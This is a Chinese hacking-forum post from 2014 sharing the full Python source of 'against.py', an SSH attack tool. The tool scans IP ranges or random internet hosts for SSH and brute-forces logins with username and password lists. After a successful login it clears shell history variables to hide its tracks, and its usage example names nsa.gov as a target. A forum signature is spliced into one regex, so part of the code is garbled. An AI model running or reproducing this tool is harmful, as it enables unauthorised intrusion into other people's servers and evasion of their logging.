搜索
查看: 300|回复: 0

ssh爆破工具

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-6-8 18:39:58 | 显示全部楼层 |阅读模式
  1. #!/usr/bin/env python
  2. # -*- coding: latin-1 -*- ######################################################
  3. #                ____                     _ __                                 #
  4. #     ___  __ __/ / /__ ___ ______ ______(_) /___ __                           #
  5. #    / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // /                           #
  6. #   /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, /                            #
  7. #                                            /___/ team                        #
  8. #                                                                              #
  9. # against.py - mass scanning and brute-forcing script for ssh                  #
  10. #                                                                              #
  11. # FILE                                                                         #
  12. # against.py                                                                   #
  13. #                                                                              #
  14. # DATE                                                                         #
  15. # 2014-02-27                                                                   #
  16. #                                                                              #
  17. # DESCRIPTION                                                                  #
  18. # 'against.py' is a very fast ssh attacking script which includes a            #
  19. # multithreaded port scanning module (tcp connect) for discovering possible    #
  20. # targets and a multithreaded brute-forcing module which attacks               #
  21. # parallel all discovered hosts or given ip addresses from a list.             #
  22. #                                                                              #
  23. # AUTHOR                                                                       #
  24. # pgt - http://www.nullsecurity.net/                                           #
  25. #                                                                              #
  26. # TODO                                                                         #
  27. # - keyboard-interactive handler                                               #
  28. # - scan ip address ranges randomly                                            #
  29. #                                                                              #
  30. # CHANGELOG                                                                    #
  31. # v0.2                                                                         #
  32. # - prints kernel version after login                                          #
  33. # - optimized timings when cracking                                            #
  34. # - detection for key authentication                                           #
  35. # - false positive / small honeypot detection                                  #
  36. # - save found target ip addresses to file, -O option                          #
  37. # - 127.x.x.x will be excluded when scanning for random ip addresses           #
  38. # - unsort found target ip addresses, because of sequential port scanning      #
  39. # - resolve ip address by given hostname                                       #
  40. # - stop attacks on target when keyboard-interactive is required               #
  41. # - set threads for port scanning, -s option                                   #
  42. #                                                                              #
  43. ################################################################################


  44. from socket import *
  45. import multiprocessing
  46. import threading
  47. import time
  48. import paramiko
  49. import sys
  50. import os
  51. import logging
  52. import argparse
  53. import random
  54. import re


  55. # version of against.py
  56. VERSION = 'v0.2'


  57. # print our nice banner ;)
  58. def banner():
  59.     print '--==[ against.py by pgt@nullsecurity.net ]==--'

  60. # print version
  61. def version():
  62.     print '[+] against.py %s' % (VERSION)
  63.     sys.exit(0)

  64. # check if we can write to file
  65. def test_file(filename):
  66.     try:
  67.         outfile = open(filename, 'a')
  68.         outfile.close()
  69.     except IOError:
  70.         print '[!] ERROR: cannot write to file \'%s\'' % filename
  71.         sys.exit(1)

  72. # define command line parameters and help page
  73. def argspage():
  74.     parser = argparse.ArgumentParser(
  75.     usage = '\n\n   ./%(prog)s -i <arg> | -r <arg> | -I <arg>',
  76.     formatter_class = argparse.RawDescriptionHelpFormatter,
  77.     epilog =
  78.     'examples:\n\n'

  79.     '  attack single target\n'
  80.     '  usage: ./%(prog)s -i nsa.gov -L passwords.txt\n\n'

  81.     '  scanning and attacking an ip-range\n'
  82.     '  usage: ./%(prog)s -i 192.168.0-10.1-254 -u admin -l troll -s 500',
  83.     add_help = False
  84.     )

  85.     options = parser.add_argument_group('options', '')
  86.     options.add_argument('-i', default=False, metavar='<ip/range>',
  87.             help='ip address/ip range/domain (e.g.: 192.168.0-3.1-254)')
  88.     options.add_argument('-I', default=False, metavar='<file>',
  89.             help='list of targets')
  90.     options.add_argument('-r', default=False, metavar='<num>',
  91.             help='attack random hosts')
  92.     options.add_argument('-p', default=22, metavar='<num>',
  93.             help='port number of sshd (default: 22)')
  94.     options.add_argument('-t', default=4, metavar='<num>',
  95.             help='threads per host (default: 4)')
  96.     options.add_argument('-f', default=8, metavar='<num>',
  97.             help='attack max hosts parallel (default: 8)')
  98.     options.add_argument('-u', default='root', metavar='<username>',
  99.             help='single username (default: root)')
  100.     options.add_argument('-U', default=False, metavar='<file>',
  101.             help='list of usernames')
  102.     options.add_argument('-l', default='toor', metavar='<password>',
  103.             help='single password (default: toor)')
  104.     options.add_argument('-L', default=False, metavar='<file>',
  105.             help='list of passwords')
  106.     options.add_argument('-o', default=False, metavar='<file>',
  107.             help='write found logins to file')
  108.     options.add_argument('-O', default=False, metavar='<file>',
  109.             help='write found target ip addresses to file')
  110.     options.add_argument('-s', default=200, metavar='<num>',
  111.             help='threads when port scanning (default: 200)')
  112.     options.add_argument('-T', default=3, metavar='<sec>',
  113.             help='timeout in seconds (default: 3)')
  114.     options.add_argument('-V', action='store_true',
  115.             help='print version of against.py and exit')

  116.     args = parser.parse_args()

  117.     if args.V:
  118.         version()

  119.     if (args.i == False) and (args.I == False) and (args.r == False):
  120.         print ''
  121.         parser.print_help()
  122.         sys.exit(0)

  123.     return args

  124. # write found ip addresses / logins to file
  125. def write_to_file(filename, text):
  126.     outfile = open(filename, 'a')
  127.     outfile.write(text)
  128.     outfile.close()

  129. # connect to target and checks for an open port
  130. def scan(target, port, timeout, oips):
  131.     sock = socket(AF_INET, SOCK_STREAM)
  132.     sock.settimeout(timeout)
  133.     result = sock.connect_ex((target, port))
  134.     sock.close()
  135.     if result == 0:
  136.         HOSTLIST.append(target)
  137.         if oips:
  138.             write_to_file(oips, target + '\n')

  139. # control the maximum number of threads
  140. def active_threads(threads, waittime):
  141.     while threading.activeCount() > threads:
  142.         time.sleep(waittime)

  143. # create thread and call scan()
  144. def thread_scan(args, target):
  145.     port = int(args.p)
  146.     timeout = float(args.T)
  147.     oips = args.O
  148.     threads = int(args.s)

  149.     bam = threading.Thread(target=scan, args=(target, port, timeout, oips))
  150.     bam.start()

  151.     active_threads(threads, 0.0001)
  152.     time.sleep(0.001)

  153. # only the output when scanning for targets
  154. def scan_output(i):
  155.     sys.stdout.flush()
  156.     sys.stdout.write('\r[*] hosts scanned: {0} | ' \
  157.             'possible to attack: {1}'.format(i, len(HOSTLIST)))

  158. # handle format of given target(s)
  159. def check_targets(targets):
  160.     if re.match(r'^[0-9.\-]*

  161. 我的新博客:[url]http://hi.baidu.com/youthjumbo[/url], targets):
  162.         return targets
  163.     try:
  164.         target = gethostbyname(targets)
  165.         return target
  166.     except gaierror:
  167.         print '[-] \'%s\' is unreachable' % (targets)
  168.         finished()
  169.         sys.exit(1)

  170. # unsort found hosts, because of incremental scanning
  171. def unsort_hostlist():
  172.     print '[*] unsort host list'
  173.     for i in range(15):
  174.         random.shuffle(HOSTLIST)

  175. # handle ip range format from command line
  176. def handle_ip_range(iprange):
  177.     parted = tuple(part for part in iprange.split('.'))

  178.     rsa = range(4)
  179.     rsb = range(4)
  180.     for i in range(4):
  181.         hyphen = parted[i].find('-')
  182.         if hyphen != -1:
  183.             rsa[i] = int(parted[i][:hyphen])
  184.             rsb[i] = int(parted[i][1+hyphen:]) + 1
  185.         else:
  186.             rsa[i] = int(parted[i])
  187.             rsb[i] = int(parted[i]) + 1

  188.     return (rsa, rsb)

  189. # call thread_scan() with target ip addresses
  190. def ip_range(args):
  191.     targets = check_targets(args.i)
  192.     rsa, rsb = handle_ip_range(targets)

  193.     print '[*] scanning %s for ssh services' % targets
  194.     counter = 0
  195.     for i in range(rsa[0], rsb[0]):
  196.         for j in range(rsa[1], rsb[1]):
  197.             for k in range(rsa[2], rsb[2]):
  198.                 for l in range(rsa[3], rsb[3]):
  199.                     target = '%d.%d.%d.%d' % (i, j, k, l)
  200.                     counter += 1
  201.                     scan_output(counter)
  202.                     thread_scan(args, target)

  203.     # waiting for the last running threads
  204.     active_threads(1, 0.1)

  205.     scan_output(counter)
  206.     print '\n[*] finished scan'

  207. # create ip addresses
  208. def randip():
  209.     rand = range(4)
  210.     for i in range(4):
  211.         rand[i] = random.randrange(0, 256)

  212.     # exclude 127.x.x.x
  213.     if rand[0] == 127:
  214.         randip()

  215.     ipadd = '%d.%d.%d.%d' % (rand[0], rand[1], rand[2], rand[3])
  216.     return ipadd

  217. # create random ip addresses
  218. def rand_ip(args):
  219.     i = 0
  220.     print '[*] scanning random ips for ssh services'
  221.     while len(HOSTLIST) < int(args.r):
  222.         i += 1
  223.         scan_output(i)
  224.         thread_scan(args, randip())

  225.     # waiting for the last running threads
  226.     active_threads(1, 1)

  227.     scan_output(i)
  228.     print '\n[*] finished scan.'

  229. # checks if given filename by parameter exists
  230. def file_exists(filename):
  231.     try:
  232.         open(filename).readlines()
  233.     except IOError:
  234.         print '[!] ERROR: cannot open file \'%s\'' % filename
  235.         sys.exit(1)

  236. # read-in a file with ip addresses
  237. def ip_list(ipfile):
  238.     file_exists(ipfile)
  239.     targets = open(ipfile).readlines()
  240.     for target in targets:
  241.         HOSTLIST.append(target)

  242. # connect to target and try to login
  243. def crack(target, port, user, passwd, outfile, timeo, i):
  244.     ssh = paramiko.SSHClient()
  245.     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  246.     user = user.replace('\n', '')
  247.     passwd = passwd.replace('\n', '')
  248.     try:
  249.         ssh.connect(target, port=port, username=user, password=passwd,
  250.                 timeout=timeo, pkey=None, allow_agent=False)
  251.         time.sleep(3)
  252.         try:
  253.             ssh.exec_command('unset HISTFILE ; unset HISTSIZE')
  254.             time.sleep(1)
  255.             ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command('uname -a ' \
  256.                     '|| cat /proc/version')
  257.             output = 'kernel: %s' \
  258.                     % (ssh_stdout.readlines()[0].replace('\n', ''))
  259.         except:
  260.             output = 'info: maybe a honeypot or false positive'
  261.         login = '[+] login found for %s | %s:%s\n' \
  262.                 '[!] %s' % (target, user, passwd, output)
  263.         print login
  264.         if outfile:
  265.             write_to_file(outfile, login + '\n')
  266.         ssh.close()
  267.         os._exit(0)
  268.     except paramiko.AuthenticationException, e:
  269.         ssh.close()
  270.         exception = str(e)
  271.         if '[\'publickey\']' in exception:
  272.             print '[-] key authentication only - ' \
  273.                 'stopped attack against %s' % (target)
  274.             os._exit(1)
  275.         elif '\'keyboard-interactive\'' in exception:
  276.             print '[-] %s requires \'keyboard-interactive\' handler' % (target)
  277.             os._exit(1)
  278.     except:
  279.         ssh.close()
  280.         # after 3 timeouts per request the attack against $target will stopped
  281.         if i < 3:
  282.             i += 1
  283.             # reconnect after random seconds (between 0.6 and 1.2 sec)
  284.             randtime = random.uniform(0.6, 1.2)
  285.             time.sleep(randtime)
  286.             crack(target, port, user, passwd, outfile, timeo, i)
  287.         else:
  288.             print '[-] too many timeouts - stopped attack against %s' % (target)
  289.             os._exit(1)

  290. # create 'x' number of threads and call crack()
  291. def thread_it(target, args):
  292.     port = int(args.p)
  293.     user = args.u
  294.     userlist = args.U
  295.     password = args.l
  296.     passlist = args.L
  297.     outfile = args.o
  298.     timeout = float(args.T)
  299.     threads = int(args.t)

  300.     if userlist:
  301.         users = open(userlist).readlines()
  302.     else:
  303.         users = [user]
  304.     if passlist:
  305.         passwords = open(passlist).readlines()
  306.     else:
  307.         passwords = [password]

  308.     # try/except looks dirty but we need it :/
  309.     try:
  310.         for user in users:
  311.             for password in passwords:
  312.                 Run = threading.Thread(target=crack, args=(target, port, user,
  313.                     password, outfile, timeout, 0,))
  314.                 Run.start()
  315.                 # checks that we a max number of threads
  316.                 active_threads(threads, 0.01)
  317.                 time.sleep(0.1)
  318.         # waiting for the last running threads
  319.         active_threads(1, 1)
  320.     except KeyboardInterrupt:
  321.         os._exit(1)

  322. # create 'x' child processes (child == cracking routine for only one target)
  323. def fork_it(args):
  324.     threads = int(args.t)
  325.     childs = int(args.f)
  326.     len_hosts = len(HOSTLIST)

  327.     print '[*] attacking %d target(s)\n' \
  328.             '[*] cracking up to %d hosts parallel\n' \
  329.             '[*] threads per host: %d' % (len_hosts, childs, threads)

  330.     i = 1
  331.     for host in HOSTLIST:
  332.         host = host.replace('\n', '')
  333.         print '[*] performing attacks against %s [%d/%d]' % (host, i, len_hosts)
  334.         hostfork = multiprocessing.Process(target=thread_it, args=(host, args))
  335.         hostfork.start()
  336.         # checks that we have a max number of childs
  337.         while len(multiprocessing.active_children()) >= childs:
  338.             time.sleep(0.001)
  339.         time.sleep(0.001)
  340.         i += 1

  341.     # waiting for child processes
  342.     while multiprocessing.active_children():
  343.         time.sleep(1)

  344. # \(0.o)/
  345. def empty_hostlist():
  346.     if len(HOSTLIST) == 0:
  347.         print '[-] found no targets to attack!'
  348.         finished()
  349.         sys.exit(1)

  350. # output when against.py finished all routines
  351. def finished():
  352.     print '[*] game over!!!'

  353. def main():
  354.     banner()
  355.     args = argspage()

  356.     if args.U:
  357.         file_exists(args.U)
  358.     if args.L:
  359.         file_exists(args.L)
  360.     if args.o:
  361.         test_file(args.o)
  362.     if args.O:
  363.         test_file(args.O)

  364.     if args.i:
  365.         ip_range(args)
  366.         unsort_hostlist()
  367.     elif args.I:
  368.         ip_list(args.I)
  369.     else:
  370.         rand_ip(args)

  371.     time.sleep(0.1)
  372.     empty_hostlist()
  373.     fork_it(args)
  374.     finished()

  375. if __name__ == '__main__':
  376.     HOSTLIST = []
  377.     try:
  378.         logging.disable(logging.CRITICAL)
  379.         main()
  380.     except KeyboardInterrupt:
  381.         print '\nbye bye!!!'
  382.         time.sleep(0.2)
  383.         os._exit(1)
复制代码


我的新博客:http://hi.baidu.com/youthjumbo
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表